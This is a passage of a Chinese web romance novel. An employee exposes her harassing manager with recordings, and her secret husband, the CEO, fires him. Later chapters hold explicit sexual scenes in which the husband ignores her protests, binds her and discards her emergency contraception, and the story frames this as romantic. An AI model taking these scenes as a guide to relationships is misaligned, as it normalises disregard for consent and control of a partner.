最害怕不懂行的人瞎提意见,说不出来哪里有问题,但就是不行,你们看着改。 和要五彩斑斓的黑有什么区别。 “听说他和安姐不和,想办法折磨我们,安姐也没办法,职级压死人。” “这下多了我。”谢屿舟选了a电影,周天睿心里的不快只会对她们发。 谁说女生小气的,明明更小气的是男人,一丁点事能被他们记很久很久,经常对事又对人。 周天睿的行为俗称‘穿小鞋’,宋时微默默修改方案,好在她会ps,可以自己修改画面。 他越来越变本加厉,“方案重新写,太平常。” “写得什么玩意儿,你自己能看过去吗?” “我用脚写出来的都比你写的好。” 第 32 章 教训[VIP] 第32章教训[vip] 谢屿舟眸色大变,连忙下楼,眼神凛冽,“怎么回事?” 孟新允完整如实汇报,“钱弘业听到太太和周天睿在办公室争执起来了,言语越来越激烈,私下调查所知,上次您拍板用了电影a之后,周天睿就到处找茬,动不动骂太太她们,这两天电影联名卖得不好,逮到机会,然后……” 谢屿舟克制嗓音里的愤怒,“说完整,吞吞吐吐干嘛?” 男人的怒气隐藏不住,孟新允边擦额头的汗,边小心翼翼汇报,“今天周总想让太太去应酬,说去了就不让太太担责,这段时间公然想占太太便宜、动手动脚,被同事看到过,私底下在办公室的情况他不知道。” 他都不敢说的太直白,老板只是嘴硬,能看出来对老板娘的重视。 不说和宋时微特殊的关系,就是其他女员工发生这种事,也是不可容忍。 说话间,电梯已下到45层,办公区有条不紊忙碌工作,似乎不知道周天睿办公室的情况。 “谢总。” “谢总。” 同事纷纷和谢屿舟打招呼,男人点头颔首,嘴唇紧抿直奔里侧的办公室。 浑身散发冷厉的气息,尽显上位者的压迫感。 乔言心偷瞄谢屿舟,被他阴沉的脸吓到,这是来问责来了吗? 【谢总来了,微微你还好吗?】 她等不到回复,压根不清楚里面的状况,怎么办?要怎么救微微? 乔言心跑到程清安的办公室,求助领导,“安姐,谢总去周总办公室了,微微也在。” 她想过了,大不了再找工作,即使会有人说她傻,即使无数人说管好自己就行,但她做不到漠视不理。 程清安安抚她,“你别急,我去看看。” 她补充道:“有我在,别担心,你先回工位。” 寰宇的办公室隔音较好,钱弘业是孟新允安插的眼线,特意观察宋时微的情况。 今天是争吵,声音大了些,他趁机从门口路过,才听见的。 此时的周天睿办公室内,气压骤降,他被当面驳了面子,瞬间升起火气。 然而,对面的女人不怕她,嘴角上扬,似乎在嘲笑他。 女人,目光短浅? 一个女人,能有什么作为? 宋时微听到这两句话要被逗笑了,这么长时间穿小鞋她忍了,公然性别歧视,一口一个看不起女人,她开口驳斥他,“所以呢,这么瞧不起女人,敢情你不是女人生的,是吗?” 周天睿难以置信看着她,平时看着温柔,骂她文案写得不好,她也只会默默修改,一副唯唯诺诺的样子。 此刻却像变了一个人,一点都不怵他,怼起他更是毫不留情。 周天睿当她是发威的猫,猫终究只是猫,“我这是为了你好,上面追责下来没人担保你,绩效考核不合格,直接走人,应酬而已,没多大事,别敬酒不吃吃罚酒,闹到哪里都不好看,回头没人会帮你说话,他们指着我拉来的业绩发工资呢,小姑娘太! 强硬不好,吃亏的是自己。” 做出业绩就可以为所欲为,销量好就可以随意欺压别人,职级高就可以欺负女下属。 现实的确如此,一句‘销冠’老板就可以忽略人品不行的事实。 宋时微抱起双臂,目光扫过去,“不需要,和你比,我的确不值一提,刚转正的普通员工罢了,不直接产生业绩的策划而已,你又算什么东西。” 她一条一条慢慢说:“滥用职权,压榨员工,肆意辱骂,占女下属便宜,公报私仇,欺负我刚来公司刚毕业,不敢站出来会忍气吞声,是吧。” “你觉得我是一个任人拿捏的人,一没后台二没关系,会任你处置,是吗?” “仗着资历老业绩好在这为非作歹,你又能蹦跶多久。” 宋时微一口气把心里话全说出来了,到这份上没有再忍得必要。 周天睿倒也不着急,“光伶牙俐齿有什么用?没有人会相信的一面之词,只会觉得你是勾搭不成恼羞成怒。” 宋时微微笑说:“你喊我进来,每次我都录了音。” 她点开播放键,聊天内容从听筒里清晰播放。 周天睿闻声色变,上手去抢,宋时微不躲不藏,甚至递过去,“抢也没用,我既然选择录音,会傻到不备份吗?我已经上传到网盘和邮箱了,设置了定时发送,没有多久便会发到总裁办的邮箱。” 谢屿舟上台后,设置了意见建议收纳区,针对员工提的建议进行核实,选择合适的落地。 周天睿表面稳住,“这就没必要了吧,我对你没做什么事,顶多是言语有些不当,老板不能拿我怎么样,不怕告诉你,之前多少严重的事,老谢总睁一只眼闭一只眼就过去了。” 宋时微的嘴角挽起笑容,“现在可不一定,当家人变了,不是老谢总的时代了。” 她敢硬刚,倒不是觉得谢屿舟对她有多大感情,而是相信谢屿舟的人品,今天即使换个人,他也不会置之不理。 希望,七年过去,他没有变。 谢屿舟和孟新允在门外断断续续听到几句,只有说话没听到其他的声音。 这时,程清安来到门口,“谢总、孟助。” 谢屿舟:“程经理,来得正好,一起。” “咚咚咚”,孟新允敲响办公室的门,里面的声音暂时停歇。 周天睿使唤宋时微,“去开门。” 宋时微打开门,看清门外的三个人,愣住片刻,“谢总、孟助、安姐。” 他们怎么来了? 谢屿舟从上到下认真仔细观察眼前的女人,衣服完整头发整齐,看来周天睿有所顾忌,没有动手。 宋时微冲他摇摇头,用口型说“我没事”,男人放下微抬的手臂,强忍住没有上去抱她。 孟新允关上门,不大的办公室站了五个人,变得拥挤。 程清安摸摸宋时微的胳膊,无声安慰她。 周天睿看到谢屿舟,放下手里的茶杯,换了一副嘴角,“谢总,您怎么来了?” 他立刻站起来,热情招呼老板,亲自给谢屿舟倒水。 ! 谢屿舟抬起长腿,走到办公桌旁,手掌按在桌面,指甲泛白,手背青筋凸起,维持面上的镇定,“我来找你问个事,正好遇到程经理有事汇报,办公室挺热闹啊。” 男人的黑眸粗略逡巡一遍,办公室的装饰比他的奢华,奇石、兰花均是上乘品。 周天睿:“没有没有,我和小宋在讨论方案。” 谎话张口就来,一点都不慌张,刚上任的年轻总经理能成什么气候。 “是吗?”谢屿舟的视线从他移到后面的宋时微,“宋时微,你说。” 宋时微假装不敢,抿紧嘴唇。 谢屿舟:“大胆说,你的直属领导也在。” 程清安对她点点头,宋时微掏出手机,“谢总、安姐,你们先听听录音。” 手机放在桌上,音量最大,熟悉的音色传了出来。 “微微这么年轻就结婚了,真可惜。” “你按照我的要求改,数据嘛,可以调,谢总又不在意。” “报告重写。” “方案不行就是不行,问我怎么改?我又不是策划。” “追责我也没办法,除非……” “你知道怎么做。” “今晚我等你。” “应酬而已,喝酒就能保住工作,成本多低。” “女人终究是目光短浅,能有什么作为?” 从一周前的对话到今天的争吵,从工作中的言语侮辱到后来的骚扰,字字句句听出压榨和逼迫。 办公室顿时鸦雀无声,孟新允不敢看老板的脸色。 谢屿舟的手指摩挲袖扣,直接拆掉袖扣,塞到口袋里,挽起半截衣袖,青蓝色的血管蜿蜒曲折绕过腕骨。 男人眼神锐利如刀,眸底掠过寒光,面色凝重。 趁旁人的注意力在录音上,宋时微拽住他的衣角,冲他摇头,用口型和他说,“不要暴露。” 这不是她一个人的事情,而是公司许多和她一样备受领导打击打压的同事,更是许多被他骚扰过的女同事的事情。 谢屿舟明白她的想法,放下揍人的念头。 周天睿狡辩,“谢总,你听,除了言语过激,我没做什么。” 宋时微:“还有视频。” 视频清晰度不高,依旧可以看出桌子上摆了什么,一张房卡,还有没有得逞的肢体骚扰,想摸大腿被宋时微躲了过去, 有录音有视频,证据确凿。 窗外的蓝天顷刻间变成黑色,天气瞬息万变,黑云压城,暴雨即刻落下,豆大的雨珠砸在玻璃上。 “周副总,这又怎么解释,您还想做什么?” 谢屿舟用了“您”字,声音又冷又硬,目光异常森冷。 孟新允看出他的老板在濒临发火的边缘,这个情况,不说是老板娘,就是其他女员工,谢屿舟也不可能忍。 果然,下一秒,男人对他说:“立即开除,交给公司法务处理。” 周天睿不敢相信,“谢总,为了这么一个普通的策划,而且我什么都没做,您就要开除我,别忘了销售部! 的业绩我占大头。” 谢屿舟原不想和他多费口舌,脚步微凝,漆黑眼眸透出凌厉,薄唇强调,“她有名字,宋时微是寰宇的员工,是寰宇的一员。” “一个人连尊重女性都不会,就是人品有问题,没有留在寰宇的必要,即使职位再高贡献的数据再好看,我司也不会留。 周副总是不是忘了?我司上上下下有几千名女员工,她们不是你口中毫无作用的女人,更不是你嘴里毫无作为的女人。 是她们顶起了寰宇的半边天。 她们在职场中承受更多的压力,遭受更多的歧视,要付出更多的努力才能被人看见,只为寻求一个平等对待平等竞争的机会。” 谢屿舟的瞳仁扫过去,“你又算是什么东西。” 转而吩咐孟新允,“该怎么处理怎么处理,公司必须全面协助。愿意做人证的,保护好所有人的隐私,通知技术部门时刻监督,不允许泄露一分一秒的视频。” 他的视线停在宋时微脸上,“最重要的,保护好…宋时微,但凡有人在背后编排造谣,一律移交法务,以诽谤侵犯名誉权处理。” 周天睿插话,“现在正是新品上市的第二天,你撤了我不怕影响后续销量,怎么和股东交代。” 谢屿舟懒得搭理他,不想和他多费一句口舌。 周天睿明白了,“你不仁,那就别怪我不义,赔偿怎么说?” 谢屿舟道:“一分没有。” 男人盯着他的眼睛,彻底断绝他的念想,“别想着仲裁,现在法律不够健全,职场性骚扰可能不会把你怎么样,但加上侵占财物呢,老谢睁一只眼闭一只眼,我不会,不怕告诉你,真以为我留你这么久,是因为你能力出众吗?” 他对程清安说:“程经理,你先带宋时微出去吧。” 程清安:“好的,谢总。” 她刚刚忍不住想鼓掌,终于有人来治周天睿,苦不堪言的日子过去了。 办公室内剑拔弩张,办公区的人其实不清楚发生了什么,孟新允交代人事部,不许任何人靠近。 不过,上班的有一些是人精,伸长脖子打量她们。 离开办公室,两个人走在办公区,表情恢复平常,程清安:“微微,你直接回去休息。” 宋时微:“谢谢安姐,我不用休息,没多大事,不能让别人看出来。” 假若从办公室出来,她就回家,不知道会传出什么谣言。 “那行,有事喊我。” 周天睿绕过她直接找宋时微,是不合规矩,但他是副总,根本不在意这些。 乔言心看到宋时微完好无损回来,放下了悬着的心,“微微。”s??x 她担心得快哭了,急得玩偶的毛被她薅秃了。 宋时微抱住她,拍拍她的背,“没事没事,他没对我怎么样,谢谢你。” 乔言心:“我没做什么,主要是安姐和其他领导不一样,谢总怎么说?” 宋时微超小声说:“开除……他。” “那太好了。” 乔言心一下子没控制住兴奋的声音! , 忙捂住嘴巴, “不会影响新品的销量吧。” 宋时微:“谢总应该留有后手,我这件事只是一个引子,你懂得。” “那就好,销量也不是一个人的问题,而且没那么差,周垃圾就是借题发挥。”乔言心毫不留情吐槽。 办公室内,周天睿收拾自己的私人用品,“谢屿舟,你不用得意,我等着看你翻跟头。” 谢屿舟活动活动手腕,“周副总,不对,周天睿,你还是先管好自己吧,我就不去看你了。” 没必要为了这种人脏了自己的手,自然有别的方法惩治他。 周天睿:“什么意思?” 第 33 章 做恨[VIP] 第33章做恨[vip] 于宋时微而言,这里是熟悉又陌生的地方。 高中,她和谢屿舟相识相遇的地方。 梧桐树的枝桠几乎要碰到车顶,树干贴心贴上限高,两旁的人行道翻修平整,不用再担心水坑的出现。 宋时微下意识想回“没有”,她没有底气,事实的确如此。 周天睿为难她的事情不是突然发生,她从来没有想过要告诉谢屿舟,更不必说求助。 她撞进他墨黑的眼睛里,暖黄色的路灯折射进车厢,在他眼中留下一簇星光。 路灯是树的心脏,潜入他的眼中,轻轻戳中了她。 宋时微的心脏蓦然漏掉一拍,手指抓住怀里的抱枕,垂下眼睫。 不敢再看他。 谢屿舟的上半身向前倾,停在中控台的位置,再次问道:“为什么不回答?” “回答不了吗?” “在你心里,从来没有把我当做老公。” 他都不用问‘依赖的人’,问出来也是自取其辱,连基础的名分都不承认,怎么会有深层次的依赖。 什么好好过日子,惯常会哄他,说的和做的完全不一样。 宋时微仰起头,替自己辩解,“没什么事,现在是特殊时期,我不能让大家的心血付之东流。” 谢屿舟被她气得太阳穴突突跳,“我是不是还要夸你有大局观。” 宋时微小声“嗯”了一下,谢屿舟想发作,正在斟酌说辞。 结果宋时微的肚子不合时宜响了,两个人晚上没有吃饭。 谢屿舟颇为无奈,“算了,先去吃饭。” 一场蓄势待发的吵架被温饱问题打断。 小道路窄,车子开进不了巷子,需要步行过去,宋时微和谢屿舟难得并肩而行,不是从前的避嫌。 男人直接牵住她的手,做了当年想做的事情,光明正大走在这条路上。 宋时微由着他牵。 晚风吹得树叶沙沙作响,街边少许住户在散步。 晚自习的学生尚没有下课,每家店铺里零星坐着几名顾客。 时过境迁,店铺的名字换过一轮又一轮,连门头都寻不到当年的影子。 谢屿舟只顾走路,侧脸轮廓冷硬,还在气头上,宋时微偏头问:“你想吃哪家?” 男人径直走进一家面馆。 推开玻璃门,不是熟悉的装修,空气里弥漫的香味却似曾相熟。 两个人寻了角落的位置坐下,小店铺没有开启扫码点餐,谢屿舟问:“你吃什么?” 宋时微看一眼墙上的菜单,“酸菜肉丝面加荷包蛋。” 谢屿舟又端了一瓶橘子汽水,放在她的面前。 当她是高中生吗? 十分钟左右,面条端上了桌,铺满酸菜的细面,宋时微尝了一口,汤口是熟悉的味道。 她想起来了,和她高中经常来吃的面馆味道一样。 记忆是一件很神奇的事情,有些事情你以为忘了,结果只是掩埋! 在大脑深处。 只需要一个阀门,便能开启。 宋时微安安静静吃面,筷子触碰到下方,夹起一个鸡腿。 她抬起头,皱眉看向对面的男人。 谢屿舟平淡道:“吃饱了才有力气算账。” 看来,今晚注定是一个不眠之夜。 吃饱喝足,两个人沿着原路返回,经过一条岔路,过了多少年宋时微都不会忘记的路。 这是她和谢屿舟故事开始的路。 路灯拉长了他们的影子,延伸很长很长,似乎从高中一步跨越到现在。 小巷装上了新的路灯,宋时微侧眸偷看谢屿舟,当年冷淡的少年,褪去青涩,成长为荷尔蒙满满的男人。 说起来,她第一次听说谢屿舟的名字,是在中考后的班级群。 彼时,他中考成绩全市第一,加上家世显赫、长相出众,成为女生讨论的重点。 不少人拿他打赌,纷纷猜测他会去哪所学校,多数人赌他上国际双语学校,最后他选择了一中,和她一个班。 其实,同班很长一段时间他们没有说过话,座位离得远,没有交集。 在某一天的傍晚,她遇到了欺负低年级学生的人,谢屿舟路过被她拉去帮忙。 让宋时微惊讶的是,这位老师眼里的红人、家长眼中别人家的孩子,打起架竟然狠厉毫不留情。 两个人终究是势单力薄,她拉着他在巷口巷尾里来回穿行。 宋时微记得,那天的夕阳很美,她跑得气喘吁吁,扶住路边的电线杆喘气,谢屿舟递给她一瓶橘子汽水,和那天的晚霞一样甜。 “谢屿舟。”突然,一道中年女声打破了宋时微的回忆。 迎面走上来一位阿姨,“真的是你啊。” 她看着宋时微,喊了一声,“宋时微。” 宋时微仔细看了几眼,终于认出来了,是他们的高中班主任杨芳君,一位和蔼可亲的老师。 “杨老师,好巧啊。” “杨老师。”谢屿舟颔首打招呼。 杨芳君欢喜道:“多少年没见了,你们怎么来学校了?” “我们路过学校找点吃的。” 谢屿舟强势攥紧宋时微的手,放在手心里,不让她抽出去。 杨芳君这才注意到他们十指紧扣的双手,难以置信地问:“你们怎么会?” 没有说出口的话是‘在一起’。 宋时微看懂了老师的眼神,班里两个八竿子打不到一起的人,现在手牵手,换成她,她也会震惊。 谢屿舟直接了当说:“我们结婚了,喜酒定在明年,到时希望老师可以赏光出席。” 杨芳君再度震惊,“那肯定肯定的。” 他们交换了现在的联系方式,宋时微和谢屿舟被拉进高中班级群里。 老师没有暴露他们的关系。 两个人同时进群,相较于宋时微,谢屿舟更受欢迎,想和他拉进关系的人太多。 宋时微乐得轻松自在,她一贯不喜欢出风头,转手屏蔽了群。 和老师寒! 暄了几句,他们返回车里。 车里的气氛比来时好一点,宋时微靠在椅背上玩手机,收到几条添加好友的申请,她一一通过。 宋池雨发来消息,【宋时微!!!真的是你啊,你这些年去哪了啊?我还以为你不回来了,啊啊啊啊啊你怎么说走就走,不和我说。】 宋池雨是她的高中同桌,也是最好的朋友。 她又进行表情包轰炸,一会哭一会笑一会抱抱,这么多年,咋呼的性格一点没变。 宋时微:【当年有点事情,抱歉。】 宋池雨:【道什么歉啊,回来了就好,你等我出差回来,我当面和你算账。】 几句对话,好像回到了高中,吵吵闹闹的日子。 宋时微:【等你回来我请你吃饭。】 宋池雨:【好好好,我马上飞奔回去。】 谢屿舟侧瞥副驾驶的女人,嘴唇上扬没心没肺,好像无事发生过。 生气的只有他一个人,原本减下去的怒气再次升起。 回到家,宋时微去猫屋看小猫,将谢屿舟抛在脑后。 男人跟在她的身边,无言的焦灼在两人之间弥漫。 四目相对,僵持了五分钟。 谢屿舟摁摁眉骨,“宋时微,我的忘性没这么大。” 宋时微缓和语气解释,“我们情况特别,不是简简单单的关系,你是公司总经理。” 倏忽间,谢屿舟扣住她的手腕,拽进怀里,深邃的瞳仁仿佛将她吞噬,“那在公司之外呢,你晚上躲什么?和我在一起是一件丢人的事吗?” 宋时微的双手抵在他的胸前,辩解道:“不是,习惯了。” 谢屿舟嗤笑一声,哪门子习惯,在公司避嫌,出了公司依旧避嫌。 七年前避嫌,七年后避嫌。 “我的下属给我老婆递房卡,我身为你的丈夫最后一个知道,你和我结婚做什么?是想看我对你余情未了吗?” “还是觉得你勾勾手,我就同意和你结婚,很有成就感。” “宋时微,我不是你见不得光的情人。” 男人的话如同暴风雨砸到宋时微的头顶,积压已久的怨气终于爆发。 宋时微仰起头,倔强地瞪着他,“你的结婚动机又好到哪里去,你和我结婚不就是为了报复我当年的不告而别,玩够了就离婚,什么损失都没有,美美去二婚。” 她一贯吃软不吃硬,谢屿舟挑着她的下巴,不由分说地吻上去,堵住她的嘴,撕咬碾磨。 强势的占有欲快将她撕碎。 宋时微快要站不稳,胸腔内的氧气消耗殆尽,他今天粗野至极,又咬又亲,她吃痛,却没有办法。 几临窒息,她用力踩上他的脚,想让他松开她。 谢屿舟直接将她扛在他的肩膀上,“谢屿舟,你要干嘛?” “你。”男人黑着脸,直奔主卧的淋浴间,将她放下去,像猎豹扑过来,扯掉她的衣服,扔到干区的地面。 宋时微看着崩掉的扣子和撕裂的裙子,本能捂住身体,“谢屿舟,你是不是有病?” ! “是。”热水兜头而下,谢屿舟咬住她的嘴唇,上下一同搅弄风云。 很快,她又站不住,倚靠在淋浴屏风上,借力谢屿舟才不至于倒下去。 宋时微向下望,只能看到漆黑的头发,耳朵里灌入啧啧暧昧的水声。 “你停下。” 谢屿舟不听她的叫唤,一意孤行,舔咬吸,甚至伸长舌头…… 极具攻击性。 宋时微的后背沁出了汗。 男人用最快的速度清理好脸上的污渍和宋时微的身体,裹着浴巾把她放在床上。 “我要穿衣服。” 谢屿舟眼里烧起欲望,目光一寸一寸逡巡,打量欣赏她的身体。 恢复些许理智的宋时微捶他挠他,在他的胳膊胸前留下指痕。 男人用骨节分明的双手控制她的手,不让她乱动,抽出一根领带捆在她的手上绑在床头,系了个死结。 宋时微挣脱不开,“谢屿舟!你松开我,我们结婚了你也不能这样。” 一座大山压在她的身上,男人漆黑的眼眸如同黑洞,嗓音冷硬,“我是谁?” 宋时微抿唇不答,他的手指直奔目的地。 “谢屿舟!”本意是斥责他,碰巧回答了他刚刚的问题。 男人又问:“我是你的谁?” 宋时微偏开脑袋,不回答他,明知道他想要什么答案,他的行为激起了她的叛逆。 这下任他怎么弄她,她都抿紧嘴唇,闭口不答。 谢屿舟不急不缓,耐着性子从上开始亲吻,一遍遍吮咬,直到她发软,溢出呜咽声,仍然不停歇,愈发变本加厉。 手指和嘴唇的疯狂,简直不像他。 宋时微嗓子又哑又涩,故意说: “同学。” “炮-友。” “一夜情对象。” 她一个一个吐露答案,她知道没有一个是谢屿舟想听的答案,没有一个是他满意的答案。 他不让她好过,她同样要折磨他。 第 34 章 想要[VIP] 第34章想要[vip] 宋时微下好订单,备注挂在门口,床头放着干净的睡衣和内衣, 她捞起衣服,动一下身体,大腿好酸,私密部位更是火辣辣的疼。 身上其他地方不必多想,密密麻麻的红印。 时隔七年,再次被生生凿开,不得不感叹一句,男人变化真大。 她的手腕红了一圈,勒出的印子过了一夜尚未消退。 禁欲时间太久,使人变态,学会玩捆绑和强制。 宋时微刷了会手机,程清安问她怎么样了,回复一句【没什么事】放下手机。 眼睛酸涩、头疼欲裂,昨晚根本没睡几个小时,宋时微不知不觉又沉沉睡去,连外卖的电话声都没有听见。 梦里回到七年前,那场大雨,她主动撩了谢屿舟,跑到顶楼的套房。 开始他什么都不敢,耳朵红透,眼睛瞥向地面,不敢看她,不敢亲她,不敢塞进去。 后来,他食髓知味,不知疲倦做了一次又一次。 十八岁男生的一腔热血,换来的是她第二天不告而别。 等到宋时微再次睁开眼睛时,看见坐在床头的男人,正目光灼灼看向她,温和说:“起来吃饭,君姨熬了汤。” 宋时微伸出手掌,冷声问他,“我的药呢?把药给我。” 谢屿舟掖好她掉落在脸颊的碎发,“我丢了,紧急避孕药副作用大,吃了对身体不好。” 他上午开会途中,君姨来电说,外卖送来一袋药,问他怎么办? 谢屿舟猜到是什么药,立刻赶回家,看到挂在挂钩上的药袋,打开看到紧急避孕药,当即捏扁扔进垃圾桶。 她这是铁了心不愿意怀他的孩子。 宋时微坐起来,扬起脸,怒气冲冲瞪他,“谢屿舟,你能不能尊重下我的意愿,我现在不想生孩子。” 谢屿舟温柔地拨开她的头发,语气平缓,“我说了不会,是你不相信我。” 宋时微打掉他的手掌,不让他碰她,“谢屿舟,你让我拿什么相信你?空口白牙吗?受罪的是我,又不是你,你就是想用孩子把我绑在身边,我不想我的孩子在不被期待中出生。” 谢屿舟坦言,“我是想把你绑在我身边,但我不屑于用这种手段。” 宋时微倔强地凝视他,白净的脸未施粉黛,透出淡粉色,“那你为什么不戴套,为什么要射进去,一次又一次,昨晚是,今早也是,难道是我冤枉了你吗?” 床单已被换掉,上面黏腻的液体证据消失,床头柜自始至终未曾打开过。 他故意堵一下,结束后不着急出来。 种种迹象,让她怎么相信他。 “等我一下。” 谢屿舟起身,走进书房,打开保险柜,找到报告单转回卧室,迎面和宋时微撞上,男人打横抱起她,放在床上,“给你。” “什么?”宋时微接过报告单,赫然写着【男性绝育】四个字,下面一份是精子的复查结果,是0。 难怪他婚后一直不做,敢情在! 休养。 宋时微不理解,“你为什么要结扎?”几乎没有男人主动结扎,他们觉得影响自己的性功能水平。 “路过医院,看到结扎打折,我冲业绩。”谢屿舟坐到她身边,“所以相信我了吗?” “哦。” 宋时微说不清是什么心情,两相拉扯,愧疚加愤怒交织,哪一点都占不了上风。 错位的信息差,又不能怨她,昨晚是他突然闯进去,一直不解释,总之,是他的错。 七年未见,曾经不欢而散,两个尴尬感情的人突然结婚捆绑在一起,岌岌可危的信任值,现在为负,亟待修复。 “我看看。”谢屿舟蹲在床边,手指掀开睡裙,“没那么肿了。” 动作之迅速,宋时微始料未及,忙捂住裙子,啐他,“你不要碰我。” 谢屿舟钳住她的手,黑眸沉下去,“如果我偏要呢。” 男人洗完手挤出凝胶,重新涂抹一遍。 宋时微早上脑袋晕晕沉沉,对药膏的体会不深,此刻神智清醒、光线充足,感官被无限放大。???x 谢屿舟故意挑逗她,明着抹药,实际手指勾连,冰凉的凝胶抹匀每一处位置,缓解疼痛。 宋时微咬紧唇瓣,不让呜咽声传出,他偏不如她的愿,揉弄、捏搓…… 指腹自带电流,带来截然不同的触感。 “乖乖,又湿了,要重新抹了。” “谢屿舟,你现在真无耻。” 在悬殊的力量面前,她毫无反手之力,是一只任人宰割的小猫。 宋时微挣扎踢他,用力踢他的胸膛,头发微微凌乱,很像炸毛的小猫。 谢屿舟捉住她的小腿,药膏扔到一旁,居高临下压下去,“还有力气,我们补一下缺失的七年,一周5次,一个月15次,一年180次,七年共计1260次,现在有时间慢慢做。” “凭什么补,我们那就是各取所需,炮-友一夜情散场,而且你也爽了,大家都是第一次,谁都不亏。” 熟悉的人最知道怎么往身上扎刀子。 无论听过多少次,谢屿舟对这个定义无法认同免疫,直起上半身,冷声说:“去吃饭。” 留给宋时微的是男人挺括的背影,她看一眼时间,接近下午两点。 君姨在餐厅布菜,看到先生和太太出来,关心道:“微微,你生病好点了吗?” 谢屿舟一早通知他,说宋时微生病了,不要打扰她休息。 宋时微瞥一眼身侧的男人,秒懂是什么意思,“对,有点感冒,嗓子不舒服。” 君姨:“我下午熬点枇杷水给你喝。” 宋时微舀一口汤,“谢谢君姨。” 她一边吃饭一边看手机信息,乔言心:【微微,你好点了吗?】 【重大消息,重大消息,快醒醒醒醒。】 【我等得花儿都谢了,我的上班搭子。】 宋时微逐一回复,【我好多了,谢谢宝,什么消息啊?】 乔言心:【如你所言,谢总早有准备,来了一个新的女副总,周傻x! 害得我们受这么长时间的苦,顾副总看着很和善,应该不会是女魔头吧。】 她不知道职场骚扰的事情,只知道骂方案的事。 宋时微安慰她,【应该不至于。】 谢屿舟端起汤碗,看向宋时微,“小猫玩偶服做好了,我带回来了,孟新允和顾斯乔研究了下达成共识,顾斯乔是新来的副总,你回头直接和设计部的人对接,沟通盲盒和宣传稿。” 宋时微:“哦。” 谢屿舟解释,“顾斯乔是我大学同学,最近回国。” “哦?” 她又敷衍回了一个字,夸起君姨,“君姨,今天的汤好好喝。” “好喝就行。”君姨一眼看出先生和太太吵架了。 夫妻没有隔夜仇,床头打架床尾和,有时候多吵吵感情会更好,客客气气哪里像夫妻。 吃完饭,宋时微查看玩偶服,图纸上的构思变成毛绒绒的玩偶之后愈发可爱,她穿上玩偶服,戴上头套,去猫屋吓唬小猫。 一个庞然大物出现在果冻和布丁的面前,两只猫吓得摔倒在地。 小心翼翼探过来,用爪子挠玩偶的腿。 她第一次穿玩偶服,掌握不好方向,原来眼睛在玩偶嘴巴的地方。 宋时微摘掉头套,满头大汗,坐在地上扇风,“好热。” 谢屿舟站在门口出声,“后期会装散热的装置,也会有冰块辅助降温。” 宋时微扭过头,眉头紧锁,“你不去公司吗?” “不去。”谢屿舟意味深长说:“某个人有前科,睡了就跑。” 难怪捆住她,宋时微露出一个微笑,“我要是想跑,你是看不住的。” 脑袋冒出猜想,“你不会在我手机里装定位吧。” 谢屿舟摊开双手,“说不准,你最好查查。” 男人旋即补充,“不过听说现在有种芯片,可以植入人的体内,无论你跑到哪儿,只要有信号。” 宋时微听得身上起鸡皮疙瘩,后背发凉,“变态。”?h?x 男人整个下午没有去公司,待在书房里开会办公。 宋时微看了群里发的销售情况,捷报频出,有些口味甚至断货,她歪在秋千上安心睡着。 谢屿舟来到猫屋找人,中央空调的冷风呼呼直吹,刚流过汗直接吹风,他打横抱起她回房间,“哎。” 多大的人了,在哪都能睡着。 宋时微在他怀里呓语。 “谢屿舟,我讨厌你。” “谢屿舟,技术好烂。” “谢屿舟,$#&$###” 后面的话,谢屿舟听不清楚,她在叽里咕噜说什么,殷红的嘴巴一张一合。 男人烦躁地解开衬衫纽扣,想亲她。 算了,没心没肺的人有什么好亲的。 谢屿舟将宋时微放在床上,女人嘴巴微张,勾的他心发痒。 转身不看她,这是她惯常的手段和操作。 谢屿舟又转身给她盖被子,宋时微的睡裙卷到大腿根部,胸脯上下起伏,顿感嗓子发痒发干! 发涩。 下一秒,亲了上去。 都是她诱惑他的。 谢屿舟做好了被推开的准备,睡着的宋时微好乖,搂住他的脖子伸出舌头回应他。 她抽出他的衬衫,摸进胸肌,“嗯~”喉咙里泄出黏腻的声音。 “想要。” “啪”一下,谢屿舟紧绷的弦断了,手指摸到下方时,他的理智回笼,还没消肿,不可以。 宋时微抱着被子滚到另一边,手机牢牢攥在手里。 这时,屏幕亮了起来。 乔言心:【微微微微,重磅消息,看匿名群的照片,我的妈耶。】 谢屿舟眉头微拧,什么匿名群?孟新允卧底的匿名群吗?原本没兴趣,直觉告诉他不一般。 通过分析可知,微信没有匿名功能,极有可能是q.q,果然,有一个【八卦保密摸鱼群。】 群里没有备注,看不出来谁是谁。 【谢总的脖子被挠了,好明显的指痕。】此人配了一张他的照片。 【好激烈。】 【除了老板娘谁敢骑在老虎头上发威。】 【骑字用得很好,下次继续。】 【不觉得老板娘像薛定谔的猫吗?怎么感觉不存在。】 【也许,一张照片都没有,谢总这种低调的人,也不会发的。】 【不管存不存在,这也忒激烈了,谢总也不遮一遮。】 【是没法遮,太多了,脖子后面手上都有。】 【兄台,你是名侦探·福尔摩斯啊,拿放大镜看的吧。】 原来自己吃自己的瓜是这种感受,谢屿舟向上滑动,还有不少信息,有吐槽有摸鱼有八卦,消息众多。 私下里怎么样他不管,茶余饭后的谈资无伤大雅。 宋时微想到昨晚,心有余悸腿在发颤,她拔掉床头的数据线,准备去次卧休息。 谢屿舟拦住她,“我今晚不碰你。” “你的话没有可信度,我们分床睡。”她可不想睡着睡着又被塞进来异物,身体对谢屿舟的接受度太高,毫不排斥,甚至热烈夹道欢迎。 “不准。” 谢屿舟将她困在自己怀里。 他使用蛮力,根本挣脱不了,“谢屿舟!你放开我,好热。” “乖,睡觉。” 漆黑的房间,宋时微动弹不得,谢屿舟搂紧她,“我想起一件事,下午某个人拉住我的手,说‘想要’,我不知道想要什么。” 宋时微瞎编,“想要你的黑卡,不限额的那种。” 第 35 章 勾引[VIP] 第35章勾引[vip] 客厅的暖色光似深夜的安抚剂,谢屿舟推开门的一刹那,清扫了内心的迷雾。 宋时微的手按在皮带上,假装酒味难闻,扇扇空气,“你先去洗澡,我在房间等你。” 眼前女人的眼睛明亮清透,嘴角挽着笑,谢屿舟像被蛊惑,忘记晚上的烦闷,“好。” 待人走进浴室,宋时微长舒一口气,拿出背后的手铐,再次研究怎么拷上,怎么一下子拷上。 男女力量差异之下,如何才能一击必胜。 浴室响起“淅淅沥沥”的水声,宋时微像做贼一样,趴在墙边竖起耳朵听里面的动静,同时透过玻璃门观察里面男人的轮廓变化。 谢屿舟还在淋浴间,水声停止,身形的阴影阴影印在玻璃上。 不多时,宋时微听见门把下压的声音,她深深呼吸,歪头换上明媚的笑容,“你洗好了啊。” 身体被墙壁遮挡,露出一个脑袋。 谢屿舟刚擦干头发,眼里闪过异样,“怎么在这等我?” 